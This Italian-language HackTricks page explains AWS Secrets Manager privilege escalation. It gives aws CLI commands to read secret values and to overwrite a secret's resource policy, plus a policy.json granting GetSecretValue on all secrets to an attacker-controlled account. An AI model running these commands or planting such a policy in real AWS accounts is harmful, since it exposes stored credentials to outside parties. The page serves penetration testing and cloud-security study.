# AWS - Secrets Manager Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Secrets Manager

Per maggiori informazioni su Secrets Manager consulta:

{{#ref}}
../../aws-services/aws-secrets-manager-enum.md
{{#endref}}

### `secretsmanager:GetSecretValue`

Un attacker con questo permesso può ottenere il **valore salvato all'interno di un secret** in AWS **Secretsmanager**.
```bash
aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
```
**Impatto potenziale:** Accesso a dati altamente sensibili all'interno del AWS secrets manager service.

> [!WARNING]
> Nota che anche con il permesso `secretsmanager:BatchGetSecretValue` un attacker avrebbe inoltre bisogno di `secretsmanager:GetSecretValue` per recuperare i segreti sensibili.

### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`)

Con i permessi precedenti è possibile **concedere accesso ad altri principals/accounts (anche esterni)** per accedere al **segreto**. Nota che, per **leggere i segreti criptati** con una chiave KMS, l'utente ha anche bisogno di **accesso sulla chiave KMS** (maggiori informazioni nella [KMS Enum page](../../aws-services/aws-kms-enum.md)).
```bash
aws secretsmanager list-secrets
aws secretsmanager get-resource-policy --secret-id <secret_name>
aws secretsmanager put-resource-policy --secret-id <secret_name> --resource-policy file:///tmp/policy.json
```
policy.json:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": "secretsmanager:GetSecretValue",
"Resource": "*"
}
]
}
```
{{#include ../../../../banners/hacktricks-training.md}}
